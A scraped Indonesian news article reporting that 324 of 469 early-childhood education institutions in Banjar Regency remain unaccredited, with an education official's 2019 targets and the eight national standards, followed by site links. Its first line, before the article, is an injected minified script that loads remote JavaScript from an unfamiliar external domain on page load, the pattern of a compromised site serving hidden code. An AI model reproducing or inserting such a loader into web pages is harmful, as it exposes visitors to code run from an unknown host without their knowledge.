(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Terdata 469 PAUD di Kabupaten Banjar, 324 PAUD Belum Terakreditasi


MARTAPURA, Total 469 lembaga Pendidikan Anak Usia Dini (PAUD) yang terdaftar di Dapodik untuk wilayah Kabupaten Banjar, ternyata masih ada 324 lembaga PAUD yang masih belum terakreditasi. Dengan akreditasi lembaga PAUD akan diakui dan dipercaya keberadaannya oleh masyarakat.

Kondisi tersebut disampaikan Kabid Bina PAUD, Pendidikan Keluarga dan Pendidikan Masyarakat Dinas Pendidikan Kabupaten Banjar Dr Erny Wahdini MPd kepada Kanal Kalimantan, Rabu (2/1).

Hingga penghujung 2018 yang telah terdata, sudah ada 76 lembaga PAUD yang sudah terakreditasi dan hingga tahun 2019. Diyakini akan terus bertambah mengingat pihaknya telah menargetkan 100 lembaga PAUD harus terakreditasi di tahun 2019.

“Sekarang sudah ada 76 PAUD yang terakreditasi, dan untuk tahun 2019 ini kita targetkan 100 lembaga PAUD akan didaftarkan ke sistem Sispena sehingga bisa diakreditasi,” ujarnya.

Lebih jauh Erny mengatakan, setiap tahun pihaknya telah melakukan pemetaan mutu delapan standar akreditasi, sehingga dapat mengetahui lembaga PAUD mana yang hampir mendekati standar akreditasi, untuk selanjutnya siap untuk diakreditasi melalui sistem sispena.

Untuk menilai kelayakan tersebut, standar PAUD diatur berdasarkan Peraturan Menteri Pendidikan dan Kebudayaan Republik Indonesia Nomor 137 Tahun 2014 tentang Standar Nasional Pendidikan Anak Usia Dini.

Adapun delapan standar PAUD terdiri atas standar tingkat pencapaian perkembangan anak, standar isi, standar proses, standar penilaian, standar pendidik dan tenaga kependidikan, standar sarana dan prasarana, standar pengelolaan dan standar pembiayaan.

“8 standar itulah yang harus dilengkapi oleh setiap lembaga PAUD, jadi kalau tidak bisa memenuhi 8 standar itu, maka tidak bisa untuk melakukan akreditasi,” ujarnya.

Dari 8 standar tersebut, diakui Erny untuk lembaga PAUD di Kabupaten Banjar kesulitan untuk memenuhi standar standar pendidik dan tenaga kependidikan, mengingat banyak pendidik PAUD yang masih belum berkualifikasi pendidikan S1.

“Untuk mengatasi hal tersebut untuk jangka panjangnya harus kuliah dahulu, sementara untuk solusi jangka pendeknya kita mengadakan diklat berjenjang, diklat dasar hingga setara dengan D3 hingga D4,” jelas Erny. (rendy)

Reporter : Rendy
Editorp : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Buka Rapat Kerja, Ini Harapan Bunda PAUD Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More

5 jam ago

Saat Sasirangan dan Soto Banjar jadi Perbincangan Pelajar di Taiwan

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More

5 jam ago

Pemkab Kapuas Bahas PPKH Permukiman Transmigrasi Lokal Ngaju Bersinar

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More

6 jam ago

Pelatihan AI Ready ASEAN: AI Itu Alat Pendukung, Bukan Pengganti Manusia

KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More

6 jam ago

Uang Bonus Atlet Kontingen Banjarmasin Dipangkas, Ini Penyebabnya

KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More

6 jam ago

2 Jenis Lead Generation untuk Menarik Prospek Berkualitas

KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More

7 jam ago

This website uses cookies.